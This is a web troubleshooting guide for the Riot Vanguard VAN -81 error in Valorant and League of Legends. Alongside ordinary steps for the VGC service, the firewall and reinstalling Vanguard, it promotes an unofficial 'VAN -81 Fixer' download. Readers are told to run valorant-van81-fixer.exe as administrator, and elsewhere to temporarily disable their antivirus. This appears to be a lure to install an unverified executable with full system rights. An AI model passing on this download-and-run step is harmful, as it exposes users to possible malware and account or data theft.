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How to Fix Vanguard Error Code VAN -81 in Valorant & League of Legends

Game Error Valorant League-of-Legends Riot-Vanguard
Screenshot of CONNECTION ERROR VANGUARD: VAN -81 error code
CONNECTION ERROR: VALORANT has encountered a connection error. Please relaunch the client to reconnect. Error Code: VAN -81

Quick Fix of VAN 81 connection error

The fastest way to resolve Vanguard error VAN -81

VAN -81 is one of the most common Riot Vanguard anti-cheat errors that affects both Valorant and League of Legends players. If you’re seeing the valorant error code van 81, van -81 valorant, or league of legends van 81, it usually means the Vanguard service failed to start properly or there’s a conflict with your connection.

This comprehensive guide will walk you through the most effective solutions that have helped thousands of players fix VAN 81 error permanently.

What Causes Vanguard Error Code VAN -81?

The VAN -81 error typically occurs due to:

  • The VGC service not running or set to the wrong startup type
  • Windows Firewall blocking Vanguard
  • Corrupted Vanguard installation after an update
  • Driver conflicts or outdated system files
  • Connection issues with Riot servers

Fortunately, most cases can be resolved quickly using the methods below.

Fastest Way to Fix VAN -81 – Automated Solution

Instead of spending time on manual troubleshooting that may or may not work, you can fix everything automatically with one click.

Our specialized Valorant & LoL VAN -81 Fixer does all the heavy lifting for you:

  • Repairs and reinstalls Vanguard properly
  • Resets network configuration (Winsock, DNS, IP)
  • Clears corrupted cache files
  • Adds necessary firewall exceptions
  • Optimizes system settings for Valorant
📥 Download

How to use the fixer:

  1. Click the button above to download the archive.
  2. Go to “Downloads” folder ➔ Right-click on archive ➔ Click “Extract all” ➔ Click “OK”.
  3. Go to “valorant-van81-fixer” folder.
  4. Right-click on valorant-van81-fixer.exe ➔ Click “Run as administrator”.
  5. Wait until this message appears in the console.
The fix has been successfully completed!

How to Fix VAN 81 Error in Valorant and League of Legends

Follow these methods in order. Most players fix the valorant van 81 error with the first or second solution.

Method 1: Restart and Configure the VGC Service (Most Effective)

This is the #1 solution for vanguard error code 81.

  1. Press Windows + R, type services.msc, and press Enter.
  2. Find VGC in the list.
  3. Right-click VGC → Properties.
  4. Set Startup type to Automatic.
  5. Click Start (if the service is stopped).
  6. Click Apply → OK.
  7. Restart your PC.

After rebooting, launch Riot Client and try starting Valorant or League of Legends again.

Method 2: Allow Vanguard Through Windows Firewall

Many VAN -81 errors are caused by firewall restrictions.

  1. Open Windows Security → Firewall & network protection.
  2. Click Allow an app through firewall.
  3. Click Change settings (top right).
  4. Click Allow another app.
  5. Browse to these paths and add them:
    • C:\Program Files\Riot Vanguard\vgc.exe
    • C:\Riot Games\Riot Client\RiotClientServices.exe
  6. Check Private and Public for both.
  7. Click OK and restart your PC.

Method 3: Reinstall Riot Vanguard

If the above methods don’t work, reinstall Vanguard:

  1. Open Add or remove programs in Windows.
  2. Find Riot Vanguard and uninstall it.
  3. Restart your PC.
  4. Launch Riot Client — it will automatically reinstall Vanguard.
  5. Let the installation complete fully.

Additional Quick Fixes

  • Reboot your PC — Simple but very effective after changing services.
  • Run Riot Client as Administrator.
  • Temporarily disable third-party antivirus (especially Avast, AVG, or Bitdefender).
  • Update your graphics drivers.

How to Fix VAN 81 Valorant Quickly (Summary)

For fastest results:

  1. Set VGC service to Automatic + Start it.
  2. Allow Vanguard in Firewall.
  3. Restart PC.
  4. Launch game.

This combination solves valorant error code van -81 for the majority of users.

League of Legends VAN 81 Fix

The same steps apply to League of Legends Vanguard error -81. Since both games use the same anti-cheat system, fixing the VGC service usually resolves the issue for LoL as well.

Frequently Asked Questions

How to fix VAN 81 Valorant?

The fastest way is to set the VGC service to Automatic, allow Vanguard through Firewall, and restart your PC.

What is VAN 81 error in Valorant?

It’s a Vanguard anti-cheat initialization error, usually related to the VGC service failing to start.

How to fix Vanguard error code 81 in League of Legends?

Use the same methods as Valorant: configure VGC service, check firewall, and reinstall Vanguard if needed.

Will reinstalling Vanguard delete my game progress?

No. Your progress is saved on Riot servers. Reinstalling Vanguard only removes the anti-cheat files.

Why do I keep getting VAN -81 after every update?

This often happens when the service resets after patches. Setting VGC to Automatic usually prevents recurring issues.

Still having issues? Try running a System File Check (sfc /scannow in Command Prompt as Administrator) or update Windows to the latest version.

This guide is regularly updated with the latest working solutions for VAN 81 error.

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